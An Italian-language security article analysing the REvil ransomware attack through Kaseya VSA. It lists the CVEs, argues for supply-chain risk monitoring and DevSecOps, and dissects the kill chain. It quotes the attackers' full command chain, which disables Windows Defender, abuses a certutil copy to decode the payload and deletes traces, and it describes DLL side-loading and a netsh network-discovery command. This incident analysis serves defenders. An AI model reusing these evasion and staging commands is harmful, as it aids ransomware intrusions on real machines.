Il caso Kaseya ha sollevato o meglio portato in chiara evidenza l’importanza e allo stesso tempo la criticità e gli impatti devastanti relativi ai rischi cyber della supply chain. Non è il primo caso. Negli ultimi mesi abbiamo affrontato diversi incidenti cyber similari a partire dall’ormai noto e quasi dimenticato caso di SolarWinds.
Sul caso specifico dell’agent VSA di Kaseya ci siamo confrontati con approcci diversi e differenti. I più hanno affrontato la questione, correttamente, cercando di ricostruire o ricostruendo la Cyber Kill Chain. Il risultato? Uno zero-day sfruttato dalla gang ransomware di REvil.
Sono infatti appena state rilasciate pubblicamente le seguenti CVE scoperte dal CERT olandese che sembrano esser state patchate tra il 10/04/2021 e il 08/05/2021:
- SQL Injection: CVE-2021-30117
- Remote Code Execution (RCE): CVE-2021-30118
- Local File Inclusion: CVE-2021-30121
- XML External Entity (XEE): CVE-30201
Altre vulnerabilità scoperte dal team olandese sono ancora in fase di patching:
- Credential Leak and business logic flaw: CVE-2021-30116
- 2FA bypass: CVE-2021-30120
Sembrerebbe che proprio tramite l’exploit dello zero-day CVE-2021-30116 sul prodotto Kaseya VSA, REvil sia riuscito a compromettere diversi server. Sfruttando il rilascio di un update malevolo dai suddetti server verso gli agenti VSA installati sulle macchine Windows gestite, REvil ha infettato potenzialmente migliaia di dispositivi.
Attacco ransomware alla supply chain di Apple: rubati i progetti di nuovi dispositivi
Indice degli argomenti
I Cyber Risk Indicators della supply chain
I casi e gli “incidenti” come questo di Kaseya dimostrano l’importanza della gestione, governo, monitoraggio e analisi dei Cyber Risk Indicators della supply chain.
Ecco che i Cyber Risk Indicators della supply chain diventano una componente del cyber security framework aziendale:
- obbligatori per gli adempimenti compliance GDPR e AgID;
- essenziali per i requisiti ISO27001 e NIS;
- importanti per le best practice cyber di OWASP.
Uno strumento finalizzato alla verifica dei rischi connessi alla gestione del portafoglio fornitori.
Il ruolo della DevSecOps
In questi mesi abbiamo assistito e gestito una serie di rischi legati ad applicazioni di terze parti che rappresentavano una minaccia per i nostri sistemi:
- applicazioni vulnerabili;
- credenziali di accesso compromesse;
- code injection;
- SQL injection.
Ecco, quindi, che la metodologia DevSecOps diventa protagonista indiscussa per una gestione della cyber security aziendale. Una metodologia necessaria per i fornitori di servizi e requirement fondamentale che dovrebbe essere richiesto dai clienti a tutti i fornitori.
La DevSecOps è l’estensione di DevOps, il modello più adottato dai dipartimenti IT per ottimizzare e accelerare il ciclo di vita del software, mettendo insieme sviluppo e operation, con l’aggiunta della security.
La gran parte dei bug che mettono a rischio la cybersecurity delle applicazioni ha origine nella progettazione iniziale, il che rende difficoltoso rilevarli e mitigarli nelle fasi successive.
Sostituire il modello verticale con uno ciclico permette di anticipare la risoluzione dei problemi, ridurre il time-to-market e i relativi costi di correzione.
La sicurezza informatica nello sviluppo del software: le buone regole da seguire
Il DevSecOps si prende carico dell’integrazione della componente di sicurezza nel processo di DevOps; integra controlli di sicurezza e processi nel flusso di lavoro DevOps.
Un flusso ciclico che deve prevedere:
- Threat Modelling;
- analisi del codice;
- Change Management;
- monitoraggio della compliance;
- Vulnerability Assessment e Penetration Test;
- Threat Intelligence;
- Monitoring, Detection and Response;
- Recovery Plan;
- formazione continua e costante.
La Cyber Kill Chain dell’attacco a Kaseya
Tornando all’analisi tecnica, l’utilizzo dell’agente VSA per il deploy del ransomware ha permesso a REvil di sfruttare diverse caratteristiche dello stesso facilitandone quindi la diffusione senza essere scoperto.
Infatti, il payload sfrutta una caratteristica del codice dell’agent VSA il quale richiede, in fase di installazione, il trust dal software anti-malware delle sue applicazioni e cartelle di lavoro.
Qualsiasi eseguibile lanciato dal Kaseya Agent Monitor viene quindi ignorato a causa di quelle esclusioni, e ciò ha permesso a REvil di distribuire il dropper senza controllo.
Dalle analisi effettuate dal SOC Swascan Team sembra che il Kaseya Agent Monitor, il quale risiede in C:PROGRAM FILES(x86)<ID>AGENTMON.EXE, con l’ID che è la chiave di identificazione del server collegato all’istanza, lancia lo script maligno codificato in Base64 AGENT.CRT che si trova nella directory di lavoro dell’agent VSA per gli aggiornamenti (C:KWORKING). Il payload è codificato in modo da impedire alle difese anti-malware di eseguire analisi statica dei file.
Una volta distribuito il payload, l’agent Kaseya AGENTMON.EXE ha eseguito i seguenti comandi dalla shell di Windows, concatenati in una singola stringa:
cmd.exe /c ping 127.0.0.1 -n 1543 > nul & C:WindowsSystem32WindowsPowerShellv1.0powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:WindowsSystem32certutil.exe C:Windowscert.exe & echo %RANDOM% >> C:Windowscert.exe & C:Windowscert.exe -decode c:kworkingagent.crt c:kworkingagent.exe & del /q /f c:kworkingagent.crt C:Windowscert.exe & c:kworkingagent.exe
Tale analisi è stata possibile grazie alle ricerche dei laboratori di Sophos e Huntress Lab i quali hanno condiviso i vari sample e IoC rilevati con la community.
Andando ad analizzare la seguente stringa possiamo dividere il comando nei vari step:
ping 127.0.0.1 -n 1543 > nul
il seguente comando è essenzialmente un timer, lo switch -n istruisce l’eseguibile PING.EXE a mandare un echo request al localhost (in questo caso 1543 richieste) ed agisce come una funzione “sleep”, ritardando quindi l’esecuzione del PoweShell di 1543 secondi.
Il valore è probabilmente randomico e varia da device a device: è ipotizzabile che tale numero venga generato su ogni server VSA compromesso ed inviato poi alle macchine da monitorare.
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Questa parte del comando PowerShell invece tenta di disabilitare la malware protection e l’anti-virus offerta da Windows Defender. Nello specifico vengono disabilitate le seguenti funzionalità:
- real-time protection;
- network protection contro exploit di vulnerabilità note;
- scanning dei file scaricati e degli allegati;
- scanning degli script;
- ransomware protection;
- protezione alla navigazione da parte delle applicazioni di accedere a domini malevoli che possono contenere malware, exploits, phishing scams e altri contenuti malevoli;
- condivisione di potenziali threat con Microsoft Active Protection Service (MAPS);
- condivisione automatica di sample con Microsoft.
La disabilitazione di queste feature impedisce a Microsoft Defender di bloccare file ed attività malevole.
copy /Y C:WindowsSystem32certutil.exe C:Windowscert.exe
Questo comando crea una copia del Windows Certificate Utility (certutil.exe), usato frequentemente per scaricare e decodificare contenuti cifrati dal web. La copia viene scritta in C:Windowscert.exe:
C:Windowscert.exe -decode c:kworkingagent.crt c:kworkingagent.exe
A questo punto la copia di Certutil viene usata per decifrare il payload in Base64 contenuto in AGENT.CRT e scriverlo come eseguibile (agent.exe) nella cartella di lavoro di Kaseya.
Il file risulta certificato da “PB03 TRANSPORT LTD”: questo certificato è probabilmente stato ottenuto per vie fraudolente o rubato ai proprietari leciti.
del /q /f c:kworkingagent.crt C:Windowscert.exe
In questa fase viene rimosso sia l’agent.crt e sia la copia di Certutil
c:kworkingagent.exe
E finalmente passiamo all’esecuzione del ransomware vero e proprio (ereditando i privilegi amministrativi di Agentmon.exe).
Analizzando il behavior dell’agente possiamo notare come vengano creati e lanciati due files:
- msmpeng.exe, una versione deprecata di Windows Defender (con certificato valido di Microsoft) vulnerabile ad attacchi di tipo “Side-Load” che hanno consentito quindi il caricamento della DLL contenente codice malevolo;
- mpsvc.dll anche esso certificato da “PB Transport LTD” (lo stesso applicato ad agent.exe) e posizionato nella stessa directory di msmpeng.exe, il quale importa la dll.
Una volta caricata la dll in memoria, il malware la rimuove dal disco. A questo punto msmpeng.exe, con l’ausilio della libreria mpsvc.dll, inizia l’encryption del disco locale.
Da questo punto in avanti, REvil si comporta come gli altri sample analizzati in Incident passati: viene quindi abilitata, sul firewall locale della macchina vittima, la scoperta degli host all’interno della rete mediante il comando:
netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes
Ed in seguito viene eseguita l’encryption dei vari file.
